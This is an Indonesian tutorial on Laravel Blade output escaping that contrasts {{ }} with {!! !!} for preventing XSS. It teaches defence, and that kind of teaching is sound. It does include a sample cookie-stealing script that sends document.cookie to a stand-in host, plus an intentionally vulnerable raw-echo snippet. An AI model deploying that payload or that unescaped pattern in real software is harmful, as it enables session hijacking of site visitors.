Echo dan Escaping: {{ }} vs {!! !!}
Tampilkan data dengan aman: kapan di-escape, kapan boleh mentah.
Analogi: Papan Pengumuman vs Surat Terbuka
Bayangkan ada papan pengumuman di sekolah. Siapa pun boleh menempel kertas di sana, termasuk orang iseng yang menempel kertas bertuliskan "SEMUA SISWA WAJIB DATANG KE RUANG GURU SEKARANG!!". Kalau kertas itu langsung ditempel apa adanya, kekacauan terjadi.
{{ }} itu seperti petugas papan pengumuman yang memeriksa dulu: tulisan yang mencurigakan dibungkus plastik transparan sehingga cuma bisa dibaca sebagai teks, tidak bisa "aktif". Sedangkan {!! !!} itu seperti menempel langsung tanpa diperiksa, boleh, tapi hanya kalau kamu 100% kenal siapa yang nulis kertasnya.
Kenapa Konsep Ini Ada?
Aplikasi web menerima input dari user: nama, komentar, bio profil. User yang jahat bisa mengisi kolom komentar dengan:
<script>fetch('https://situs-jahat.test/curi?cookie=' + document.cookie)</script>Kalau aplikasi menampilkan input itu mentah-mentah ke halaman, script tersebut jalan di browser setiap pengunjung. Ini namanya XSS (Cross-Site Scripting), salah satu serangan web paling klasik. Blade menyelesaikannya dengan menjadikan escaping sebagai perilaku default.
Contoh 1: {{ }} Aman Secara Default
File: resources/views/komentar.blade.php
{{-- misal $nama berisi: <script>alert('xss')</script> --}}
<p>Ditulis oleh: {{ $nama }}</p>Output HTML yang dikirim ke browser:
<p>Ditulis oleh: <script>alert('xss')</script></p>Browser menampilkan teks <script>alert('xss')</script> sebagai tulisan biasa, bukan menjalankannya. Tanda < dan > diubah jadi < dan >. Inilah escaping, dan Blade melakukannya otomatis untuk setiap {{ }}.
Echo dengan fallback juga sering dipakai biar tidak error saat variabelnya null:
<p>Halo, {{ $nama ?? 'Tamu' }}!</p>
<p>{{ $user->bio ?? 'Belum ada bio.' }}</p>Contoh 2: {!! !!} untuk HTML yang Kamu Percayai
Ada kalanya kamu memang butuh menampilkan HTML beneran, misalnya konten artikel yang ditulis lewat editor WYSIWYG oleh admin tepercaya:
File: app/Http/Controllers/ArtikelController.php
public function show(Artikel $artikel)
{
// $artikel->konten berisi HTML dari editor admin, misal <p><strong>Halo</strong></p>
return view('artikel.show', ['artikel' => $artikel]);
}File: resources/views/artikel/show.blade.php
{{-- HTML dirender beneran, bukan sebagai teks --}}
{!! $artikel->konten !!}Komentar Blade juga berguna biar catatanmu tidak bocor ke HTML yang dilihat user:
{{-- Komentar ini tidak akan muncul di view-source browser --}}
<!-- Komentar HTML biasa ini AKAN muncul di view-source -->Kesalahan Umum Pemula
1. Salah: {!! !!} untuk input user
{{-- JANGAN PERNAH: komentar dari user ditampilkan mentah --}}
<div class="komentar">
{!! $komentar->isi !!}
</div>Satu user iseng mengisi <script> jahat, semua pengunjung halaman itu kena. Ini lubang XSS yang nyata.
Benar:
<div class="komentar">
{{ $komentar->isi }}
</div>Aturannya sederhana: selalu pakai {{ }}. Pakai {!! !!} hanya untuk HTML yang kamu kontrol penuh (konten dari editor admin tepercaya, hasil render Markdown yang sudah disanitasi), bukan dari input user.
2. Salah: double escaping karena escaping manual
{{-- $nama = "Budi & Ani" --}}
<p>{{ htmlspecialchars($nama) }}</p>Karena Blade sudah me-escape otomatis, htmlspecialchars() manual membuat hasilnya double: browser menampilkan Budi & Ani secara harfiah. Percayakan escaping pada Blade.
Benar:
<p>{{ $nama }}</p>3. Salah: echo object yang tidak bisa jadi string
{{-- $user adalah object model, bukan string --}}
<p>{{ $user }}</p>Hasilnya error karena PHP tidak tahu cara mengubah object jadi teks. Echo properti spesifiknya.
Benar:
<p>{{ $user->name }}</p>Catatan teknis: Escaping Blade memakai
htmlspecialcharsdengan flagENT_QUOTES, jadi tanda kutip tunggal dan ganda ikut di-escape. Ini pertahanan lapis pertama, bukan satu-satunya: untuk konteks JavaScript atau atribut HTML yang kompleks, tetap validasi dan sanitasi input di sisi server.
Daftar Putih: Kapan {!! !!} Boleh Dipakai?
Biar tidak bingung, pakai checklist ini sebelum menulis {!! !!}:
- Sumbernya kamu kontrol penuh? Contoh: konten artikel yang ditulis admin lewat editor WYSIWYG di dashboard internal. Boleh.
- Sudah disanitasi? Contoh: Markdown dari user yang di-render lalu dibersihkan dengan library HTML purifier. Boleh, dengan hati-hati.
- Berasal langsung dari input user tanpa filter? Contoh: nama, komentar, bio. TIDAK BOLEH, pakai
{{ }}.
Kalau ragu, jawabannya selalu {{ }}. Kehilangan sedikit fleksibilitas jauh lebih murah daripada menambal lubang XSS di production.
{{-- Pola aman untuk konten Markdown dari user --}}
{!! Str::markdown($komentar->isi) !!}
{{-- Str::markdown me-escape HTML mentah secara default --}}Tantangan
Uji XSS
Buat route yang mengirim string "<b>tebal</b><script>alert(1)</script>" ke view. Tampilkan sekali dengan {{ }} dan sekali dengan {!! !!}. Bandingkan hasilnya di browser dan jelaskan bedanya.